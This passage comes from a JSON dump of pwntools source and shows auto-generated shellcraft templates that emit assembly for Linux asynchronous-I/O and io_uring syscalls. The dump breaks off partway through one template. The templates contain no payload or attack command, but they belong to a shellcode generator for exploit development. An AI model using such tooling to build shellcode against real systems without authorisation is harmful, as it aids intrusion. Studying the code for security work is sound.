    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/io_destroy.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>io_destroy(ctx_id) -> str\n\nInvokes the syscall io_destroy.\n\nSee 'man 2 io_destroy' for more information.\n\nArguments:\n    ctx_id(aio_context_t): ctx_id\nReturns:\n    int\n</%docstring>\n<%page args=\"ctx_id=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['ctx_id']\n    argument_values = [ctx_id]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_io_destroy']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_io_destroy'])\n%>\n    /* io_destroy(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/io_getevents.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>io_getevents(ctx_id, min_nr, nr, events, timeout) -> str\n\nInvokes the syscall io_getevents.\n\nSee 'man 2 io_getevents' for more information.\n\nArguments:\n    ctx_id(aio_context_t): ctx_id\n    min_nr(long): min_nr\n    nr(long): nr\n    events(io_event*): events\n    timeout(timespec*): timeout\nReturns:\n    int\n</%docstring>\n<%page args=\"ctx_id=0, min_nr=0, nr=0, events=0, timeout=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['ctx_id', 'min_nr', 'nr', 'events', 'timeout']\n    argument_values = [ctx_id, min_nr, nr, events, timeout]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_io_getevents']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_io_getevents'])\n%>\n    /* io_getevents(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/io_pgetevents.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>io_pgetevents(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall io_pgetevents.\n\nSee 'man 2 io_pgetevents' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_io_pgetevents']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_io_pgetevents'])\n%>\n    /* io_pgetevents(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/io_pgetevents_time64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>io_pgetevents_time64(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall io_pgetevents_time64.\n\nSee 'man 2 io_pgetevents_time64' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_io_pgetevents_time64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_io_pgetevents_time64'])\n%>\n    /* io_pgetevents_time64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/io_setup.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>io_setup(nr_events, ctx_idp) -> str\n\nInvokes the syscall io_setup.\n\nSee 'man 2 io_setup' for more information.\n\nArguments:\n    nr_events(unsigned): nr_events\n    ctx_idp(aio_context_t*): ctx_idp\nReturns:\n    int\n</%docstring>\n<%page args=\"nr_events=0, ctx_idp=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['nr_events', 'ctx_idp']\n    argument_values = [nr_events, ctx_idp]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_io_setup']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_io_setup'])\n%>\n    /* io_setup(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/io_submit.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>io_submit(ctx_id, nr, iocbpp) -> str\n\nInvokes the syscall io_submit.\n\nSee 'man 2 io_submit' for more information.\n\nArguments:\n    ctx_id(aio_context_t): ctx_id\n    nr(long): nr\n    iocbpp(iocb**): iocbpp\nReturns:\n    int\n</%docstring>\n<%page args=\"ctx_id=0, nr=0, iocbpp=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['ctx_id', 'nr', 'iocbpp']\n    argument_values = [ctx_id, nr, iocbpp]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_io_submit']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_io_submit'])\n%>\n    /* io_submit(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/io_uring_enter.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>io_uring_enter(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall io_uring_enter.\n\nSee 'man 2 io_uring_enter' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_io_uring_enter']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_io_uring_enter'])\n%>\n    /* io_uring_enter(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/io_uring_register.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>io_uring_register(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall io_uring_register.\n\nSee 'man 2 io_uring_register' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_io_uring_register']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_io_uring_register'])\n%>\n    /* io_uring_register(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/io_uring_setup.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>io_uring_setup(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall io_uring_setup.\n\nSee 'man 2 io_uring_setup' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_io_uring_setup']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_io_uring_setup'])\n%>\n    /* io_uring_setup(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    